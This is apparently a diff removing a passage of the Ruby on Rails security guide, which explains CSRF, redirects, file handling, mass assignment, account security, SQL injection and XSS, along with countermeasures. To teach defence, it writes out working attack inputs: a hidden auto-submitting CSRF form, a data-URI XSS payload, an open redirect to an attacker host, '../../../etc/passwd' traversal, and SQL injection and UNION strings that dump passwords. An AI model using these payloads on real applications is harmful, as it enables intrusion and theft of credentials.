-It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
-
-CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _(highlight)CSRF is an important security issue_.
-
-h4. CSRF Countermeasures
-
--- _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
-
-The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
-
-*Use GET if:*
-
-* The interaction is more _(highlight)like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
-
-*Use POST if:*
-
-* The interaction is more _(highlight)like an order_, or
-* The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
-* The user is _(highlight)held accountable for the results_ of the interaction.
-
-If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier.
-
-_(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
-
-<html>
-<a href="http://www.harmless.com/" onclick="
-  var f = document.createElement('form');
-  f.style.display = 'none';
-  this.parentNode.appendChild(f);
-  f.method = 'POST';
-  f.action = 'http://www.example.com/account/destroy';
-  f.submit();
-  return false;">To the harmless survey</a>
-</html>
-
-Or the attacker places the code into the onmouseover event handler of an image:
-
-<html>
-<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
-</html>
-
-There are many other possibilities, including Ajax to attack the victim in the background.
The _(highlight)solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
-
-<ruby>
-protect_from_forgery :secret => "123456789012345678901234567890..."
-</ruby>
-
-This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. *Note:* In Rails versions prior to 3.0.4, this raised an <tt>ActionController::InvalidAuthenticityToken</tt> error.
-
-Note that _(highlight)cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
-
-h3. Redirection and Files
-
-Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
-
-h4. Redirection
-
--- _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
-
-Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
-
-<ruby>
-def legacy
-  redirect_to(params.update(:action=>'main'))
-end
-</ruby>
-
-This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
-
-<plain>
-http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
-</plain>
-
-If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_.
-
-h5. Self-contained XSS
-
-Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
-
-+data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+
-
-This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_.
-
-h4. File Uploads
-
--- _Make sure file uploads don't overwrite important files, and process media files asynchronously._
-
-Many web applications allow users to upload files. _(highlight)File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
-
-When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the "attachment_fu plugin":https://github.com/technoweenie/attachment_fu/tree/master:
-
-<ruby>
-def sanitize_filename(filename)
-  filename.strip.tap do |name|
-    # NOTE: File.basename doesn't work right with Windows paths on Unix
-    # get only the filename, not the whole path
-    name.sub! /\A.*(\\|\/)/, ''
-    # Finally, replace all non alphanumeric, underscore
-    # or periods with underscore
-    name.gsub! /[^\w\.\-]/, '_'
-  end
-end
-</ruby>
-
-A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _(highlight)vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
-
-The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
-
-h4. Executable Code in File Uploads
-
--- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
-
-The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.
-
-_(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
-
-h4. File Downloads
-
--- _Make sure users cannot download arbitrary files._
-
-Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
-
-<ruby>
-send_file('/var/www/uploads/' + params[:filename])
-</ruby>
-
-Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _(highlight)check that the requested file is in the expected directory_:
-
-<ruby>
-basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
-filename = File.expand_path(File.join(basename, @file.public_filename))
-raise if basename !=
-     File.expand_path(File.join(File.dirname(filename), '../../../'))
-send_file filename, :disposition => 'inline'
-</ruby>
-
-Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
-
-h3. Intranet and Admin Security
-
--- _Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world._
-
-In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

-
-*XSS*  If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
-
-Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
-
-Refer to the Injection section for countermeasures against XSS. It is _(highlight)recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
-
-*CSRF*  Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
-
-A real-world example is a "router reconfiguration by CSRF":http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
-
-Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

-
-Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
-
-For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
-
-h4. Additional Precautions
-
-The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
-
-* It is very important to _(highlight)think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _(highlight)introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _(highlight)special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _(highlight)special password for very serious actions_?
-
-* Does the admin really have to access the interface from everywhere in the world? Think about _(highlight)limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
-
-* _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
-
-h3. Mass Assignment
-
--- _Without any precautions Model.new(params[:model]) allows attackers to set any database column's value._
-
-The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's +new()+ method:
-
-<ruby>
-def signup
-  params[:user] # => {:name => “ow3ned”, :admin => true}
-  @user = User.new(params[:user])
-end
-</ruby>
-
-Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the +new+ method, or +assign_attributes=+ a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
-
-<pre>
-"name":http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
-</pre>
-
-This will set the following parameters in the controller:
-
-<ruby>
-params[:user] # => {:name => “ow3ned”, :admin => true}
-</ruby>
-
-So if you create a new user using mass-assignment, it may be too easy to become an administrator.
-
-Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3+. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example:
-
-<ruby>
-  class Person < ActiveRecord::Base
-    has_many :children
-
-    accepts_nested_attributes_for :children
-  end
-
-  class Child < ActiveRecord::Base
-    belongs_to :person
-  end
-</ruby>
-
-As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case).
-
-h4. Countermeasures
-
-To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The +attr_protected+ method takes a list of attributes that will not be accessible for mass-assignment. For example:
-
-<ruby>
-attr_protected :admin
-</ruby>
-
-+attr_protected+ also optionally takes a role option using :as which allows you to define multiple mass-assignment groupings. If no role is defined then attributes will be added to the :default role.
-
-<ruby>
-attr_protected :last_login, :as => :admin
-</ruby>
-
-A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of +attr_protected+, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
-
-<ruby>
-attr_accessible :name
-attr_accessible :name, :is_admin, :as => :admin
-</ruby>
-
-If you want to set a protected attribute, you will to have to assign it individually:
-
-<ruby>
-params[:user] # => {:name => "ow3ned", :admin => true}
-@user = User.new(params[:user])
-@user.admin # => false # not mass-assigned
-@user.admin = true
-@user.admin # => true
-</ruby>
-
-When assigning attributes in Active Record using +attributes=+ the :default role will be used. To assign attributes using different roles you should use +assign_attributes+ which accepts an optional :as options parameter. If no :as option is provided then the :default role will be used. You can also bypass mass-assignment security by using the +:without_protection+ option. Here is an example:
-
-<ruby>
-@user = User.new
-
-@user.assign_attributes({ :name => 'Josh', :is_admin => true })
-@user.name # => Josh
-@user.is_admin # => false
-
-@user.assign_attributes({ :name => 'Josh', :is_admin => true }, :as => :admin)
-@user.name # => Josh
-@user.is_admin # => true
-
-@user.assign_attributes({ :name => 'Josh', :is_admin => true }, :without_protection => true)
-@user.name # => Josh
-@user.is_admin # => true
-</ruby>
-
-In a similar way, +new+, +create+, <tt>create!</tt>, +update_attributes+, and +update_attributes!+ methods all respect mass-assignment security and accept either +:as+ or +:without_protection+ options. For example:
-
-<ruby>
-@user = User.new({ :name => 'Sebastian', :is_admin => true }, :as => :admin)
-@user.name # => Sebastian
-@user.is_admin # => true
-
-@user = User.create({ :name => 'Sebastian', :is_admin => true }, :without_protection => true)
-@user.name # => Sebastian
-@user.is_admin # => true
-</ruby>
-
-A more paranoid technique to protect your whole project would be to enforce that all models define their accessible attributes. This can be easily achieved with a very simple application config option of:
-
-<ruby>
-config.active_record.whitelist_attributes = true
-</ruby>
-
-This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an +attr_accessible+ or +attr_protected+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via +attr_accessible+ or +attr_protected+) as dictated by your failing tests.
-
-h3. User Management
-
--- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
-
-There are a number of authentication plug-ins for Rails available. Good ones, such as the popular "devise":https://github.com/plataformatec/devise and "authlogic":https://github.com/binarylogic/authlogic, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in +has_secure_password+ method which has similar features.
-
-Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
-
-<plain>
-http://localhost:3006/user/activate
-http://localhost:3006/user/activate?id=
-</plain>
-
-This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
-
-<ruby>
-User.find_by_activation_code(params[:id])
-</ruby>
-
-If the parameter was nil, the resulting SQL query will be
-
-<sql>
-SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
-</sql>
-
-And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
-
-h4. Brute-Forcing Accounts
-
--- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
-
-A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
-
-Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.
-
-However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
-
-In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
-
-h4. Account Hijacking
-
--- _Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?_
-
-h5. Passwords
-
-Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _(highlight)make change-password forms safe against CSRF_, of course. And _(highlight)require the user to enter the old password when changing it_.
-
-h5. E-Mail
-
-However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _(highlight)require the user to enter the password when changing the e-mail address, too_.
-
-h5. Other
-
-Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in "Google Mail":http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_.
-
-h4. CAPTCHAs
-
--- _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
-
-But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is "reCAPTCHA":http://recaptcha.net/ which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. "ReCAPTCHA":http://ambethia.com/recaptcha/ is also a Rails plug-in with the same name as the API.
-
-You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
-The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
-
-Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
-
-Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
-
-* position the fields off of the visible area of the page
-* make the elements very small or color them the same as the background of the page
-* leave the fields displayed, but tell humans to leave them blank
-
-The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
-
-You can find more sophisticated negative CAPTCHAs in Ned Batchelder's "blog post":http://nedbatchelder.com/text/stopbots.html:
-
-* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
-* Randomize the field names
-* Include more than one honeypot field of all types, including submission buttons
-
-Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _(highlight)negative CAPTCHAs might not be good to protect login forms_.
-
-h4. Logging
-
--- _Tell Rails not to put passwords in the log files._
-
-By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _(highlight)filter certain request parameters from your log files_ by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [FILTERED] in the log.
-
-<ruby>
-config.filter_parameters << :password
-</ruby>
-
-h4. Good Passwords
-
--- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
-
-Bruce Schneier, a security technologist, "has analyzed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
-
-password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
-
-It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
-
-A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
-
-h4. Regular Expressions
-
--- _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
-
-Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:
-
-<ruby>
-class File < ActiveRecord::Base
-  validates :name, :format => /^[\w\.\-\<plus>]<plus>$/
-end
-</ruby>
-
-This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems:
-
-<plain>
-file.txt%0A<script>alert('hello')</script>
-</plain>
-
-Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert('hello')&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
-
-<ruby>
-/\A[\w\.\-\<plus>]<plus>\z/
-</ruby>
-
-h4. Privilege Escalation
-
--- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
-
-The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
-
-<ruby>
-@project = Project.find(params[:id])
-</ruby>
-
-This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _(highlight)query the user's access rights, too_:
-
-<ruby>
-@project = @current_user.projects.find(params[:id])
-</ruby>
-
-Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
-
-Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
-
-h3. Injection
-
--- _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
-
-Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
-
-h4. Whitelists versus Blacklists
-
--- _When sanitizing, protecting or verifying something, whitelists over blacklists._
-
-A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _(highlight)prefer to use whitelist approaches_:
-
-* Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
-* Use attr_accessible instead of attr_protected. See the mass-assignment section for details
-* Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
-* Don't try to correct user input by blacklists:
-** This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
-** But reject malformed input
-
-Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
-
-h4. SQL Injection
-
--- _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
-
-h5(#sql-injection-introduction). Introduction
-
-SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
-
-<ruby>
-Project.where("name = '#{params[:name]}'")
-</ruby>
-
-This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
-
-<sql>
-SELECT * FROM projects WHERE name = '' OR 1 --'
-</sql>
-
-The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
-
-h5. Bypassing Authorization
-
-Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
-
-<ruby>
-User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
-</ruby>
-
-If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
-
-<sql>
-SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
-</sql>
-
-This will simply find the first record in the database, and grants access to this user.
-
-h5. Unauthorized Reading
-
-The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
-
-<ruby>
-Project.where("name = '#{params[:name]}'")
-</ruby>
-
-And now let's inject another query using the UNION statement:
-
-<plain>
-') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
-</plain>
-
-This will result in the following SQL query:
-
-<sql>
-SELECT * FROM projects WHERE (name = '') UNION
-  SELECT id,login AS name,password AS description,1,1,1 FROM users --'
-</sql>
-
-The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
-
-Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails "to at least 2.1.1":http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/.
-
-h5(#sql-injection-countermeasures). Countermeasures
-
-Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+where("...")+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>.
-
-Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
-
-<ruby>
-Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
-</ruby>
-
-As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
-
-<ruby>
-Model.where(:login => entered_user_name, :password => entered_password).first
-</ruby>
-
-The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_.
-
-h4. Cross-Site Scripting (XSS)
-
--- _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
-
-h5. Entry Points
-
-An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
-
-The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the "Live HTTP Headers Firefox plugin":http://livehttpheaders.mozdev.org/, or client-site proxies make it easy to change requests.
-
-XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
-
-During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/mpack-uncovered/ is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
-
-A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/.
-
